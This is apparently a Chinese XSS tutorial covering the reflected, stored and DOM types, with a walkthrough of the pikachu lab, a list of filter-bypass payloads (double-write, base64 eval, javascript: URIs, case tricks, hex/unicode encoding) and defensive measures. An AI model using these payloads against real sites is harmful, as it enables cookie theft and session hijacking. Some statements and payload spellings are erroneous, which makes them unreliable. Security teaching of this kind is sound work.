目录
一、XSS漏洞介绍
1.XSS漏洞原理
2.XSS漏洞的类型
反射型
存储型
DOM型
三者区别
3.漏洞识别
4.攻击方式
5.XSS漏洞危害
6.漏洞防御
二、XSS漏洞的攻击方式--注入脚本代码
1.反射型
2.存储型
3.DOM型
4.XSS盲打
5.XSS漏洞的绕过技术
双写绕过
编码绕过
伪协议绕过
空格绕过
大小写转换绕过
利用IE特性绕过
利用 css特性绕过
注释绕过关键字过滤
+16进制绕过对"<>"的过滤
+unicode绕过对"<>"的过滤
IMG源绕过
6.XSS 的防范措施
一、XSS漏洞介绍
XSS 漏洞(跨站脚本漏洞 (Cross Site Scripting) )XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript脚本语言,还包括flash等其它脚本语言。
1.XSS漏洞原理
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了脚本代码(js) 并直接返回给客户端执行,从而实现对客户端的攻击目的
2.XSS漏洞的类型
- 反射型
- 存储型
- dom型
反射型
反射型XSS是临时性的,指注入的代码不在后端存储,但会在服务器端进行处理然后进行回显
存储型
存储型XSS会将恶意代码存储在数据库中,从而 达到一个长期危害的作用。
DOM型
DOM型XSS利用的是html dom,不经过后端,只在浏览器处理并执行,也是临时性的。
三者区别
- 存储型xss和dom型xss是一次性的攻击,而存储型xss是持久型的
- 相对于反射和存储型xss,DOM型xss的攻击数据不经过服务器,难以被流量监控设备 检测出来。
3.漏洞识别
存在输入框且输入框未进行特殊字符过滤
4.攻击方式
在系统中寻找存在输入框的地方,输入payload测试,然后选择类型注入想要的脚本代码
特殊情况:
如果有过滤,可通过<a herf="#" οnclick="alert(document.cookie)">等绕过script过滤,可通过javascript:alert(document.cookie)等绕过但双引号过滤。
XSS payload大全:https://github.com/payloadbox/x
5.XSS漏洞危害
- 窃取用户Cookie
- 后台增删改查文章
- XSS钓鱼攻击
- 利用XSS漏洞进行传播和修改网页代码
- XSS蠕虫攻击
- 网站重定向
- 获取键盘记录
- 获取用户信息等
- 结合其他漏洞(结合cstf漏洞进行getshell:例如前段时间爆出的小皮面板rce漏洞)
危害程度:存储型>反射型> DOM型
6.漏洞防御
总的原则:输入做过滤,输出做转义
1、对输入内容进行转义or过滤。2、对输出内容进行转义or编码
3、设置cookie为httponly,使客户端无法通过脚本获得cookie
二、XSS漏洞的攻击方式--注入脚本代码
通过对输入框写入脚本代码来实现XSS漏洞攻击
温馨提示:与post方式的xss漏洞相比,Get类型的更加容易被利用,只需要将带有xss漏洞的URL发送给目标即可
1.反射型
在输入框中输入一些特殊的符号如:;"’<>9999
查看这些特殊字符是否会被过滤,有没有被输出
查看返回页面的源码,CTRL+F在页面内查找我们输入的字符串,查看我们的输入是否会被原封不动的输出
如果在输入较长的字符串后,发现不能输入了,这是在前端进行的安全设置。只需要在该页面打开web开发者工具,找到限制输入长度的语句修改即可。
输入代码<script>alert('xss')</script>,可以发现输入的代码被执行
因为是一次性的,并没有存储到后台的数据库当中所以当我们刷新页面后弹窗消失
2.存储型
和反射性xss形成的原因一样,区别就在于后台会将我们的输入保存到数据库当中,造成长时间的伤害。一般出现在像留言板这样的地方。
和之前的思路一样,在输入框中输入一些特殊字符,点击提交。打开页面源码,看是否对我们的输入进行了处理
和上面一样构造一个出现弹窗的jsp语句,提交后出现了弹窗。进行刷新页面发现弹窗还在,说明我们的输入被存储起来了
3.DOM型
你可以把DOM理解为一个一个访问HTML的标准编程接口。Dom就是纯前端的操作
pikachu关于Dom型关卡,查看页面的源码:
<a href='"+str+"'>what do you see?</a>
还是构造一个弹窗:#' οnclick="alert(666)”>
然后此处就变成了:
<a href='#' οnclick="alert(666)">'>what do you see?</a>由于Dom型xss为纯前端操作,都是客户端的事,所以无法通过WAF进行防御
4.XSS盲打
xss盲打指的是一种攻击场景。
意思就是说我们的输入并不会在前端进行输出,也就是在后台才会进行输出,换句话说,只有管理员才会看到我们的输入。
例如提交:<script>alert('xni')</script>设置一个弹窗
这就是xss盲打,对攻击者来说只是尝试的输入,并不知道后台是否被输出,只是尝试的输入跨站脚本。管理员被x到,攻击者成功。这种危害比较大,如果在前端输入一段盗取cookie的脚本,管理员一登陆,管理员的cookie就会被获取。攻击者就可以伪装管理员登陆后台,后台的权限就大了。
5.XSS漏洞的绕过技术
绕过技术是指,绕过xss漏洞的防御,完成xss漏洞攻击
双写绕过
代码:<scscriptript>alert("xss")</scscriptript>
编码绕过
编码:<script>eval(atob(base64))</script>
伪协议绕过
代码:<a hrrf="javascript:alert(document.cookie)">xss</a>
空格绕过
代码: <sc ript>alert("xss")</s cript>
大小写转换绕过
代码: <Script>alert("xss")</Script>
利用IE特性绕过
IE中 两个反引号``可以闭合左边双引号 `` οnmοuseοver=alert("xss")
利用 css特性绕过
background-color:#f00;backbround:url("javascript:alert("xss");");
注释绕过关键字过滤
expres/**/sion(if(!window.x){alert(document.domain);window.x=1})
+16进制绕过对"<>"的过滤
代码: \\x3cscript\\x3ealert("xss")\\x3c\script\\x3e
+unicode绕过对"<>"的过滤
代码:\\u3cscript\\u3ealert("xss")\\u3c\script\\u3e
IMG源绕过
源的含义
源由协议,主机名,端口名组成范例:协议://主机名:端口号/
同源策略
在计算机中,同源策略用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,所以a.com下的js脚本采用ajax读取b.com里面的文件数据会报错
IE源特殊处理
1.位于可信域的互信的域名间,不受同源策略限制
2.ie判断同源时不会考虑端口
可是通过document.domain读取或修改源。但是有限制。修改之后的源不能通过其他脚本再次修改domain属性可以解决因安全策略带来的不同文档的属性共享问题。降域 document.domain同源策略认为域和子域属于不同的域,比如:child1.a.com 域 a.com 是不同源
可以通过设置document.domain='a.com' ,浏览器就会认为它们都是同一源。想要实现以上两个任意页面之间的通信,两个页面必须都设置document.domain='a.com'
6.XSS 的防范措施
● 对用户的输入进行过滤比如说添加黑名单或者白名单规则,比如说对& " ' / expression javascript import 等敏感字符进行转义● 使用 HttpOnly Cookie如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie 信息,这样能有效的防止 XSS攻击,窃取 cookie 内容,这样可以有效的防止 XSS 攻击窃取 cookie。response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");● 设置 X-XSS-Protection 属性该属性被所有的主流浏览器默认开启。X-XSS-Protection,即 XSS 保护属性,是设置在响应头中目的是用来防范 XSS 攻击的。在检查到 XSS 攻击时,停止渲染页面。header("X-XSS-Protection: 1");● 开启 CSP 网页安全策略CSP 是网页安全策略(Content Security Policy)的缩写。开启策略后 可以起到以下作用禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。合理使用上报可以及时发现 XSS,利于尽快修复问题。● 避免内联事件尽量不要使用 onLoad=“onload(’{{data}}’)”、onClick=“go(’{{action}}’)” 这种拼接内联事件的写法。在JavaScript 中通过 .addEventlistener() 事件绑定会更安全。● 使用模板引擎开启模板引擎自带的 HTML 转义功能。例如: 在 ejs 中,尽量使用 而不是 ; 在 doT.js 中,尽量使用{{! data } 而不是 {{= data }; 在 FreeMarker 中,确保引擎版本高于 2.3.24。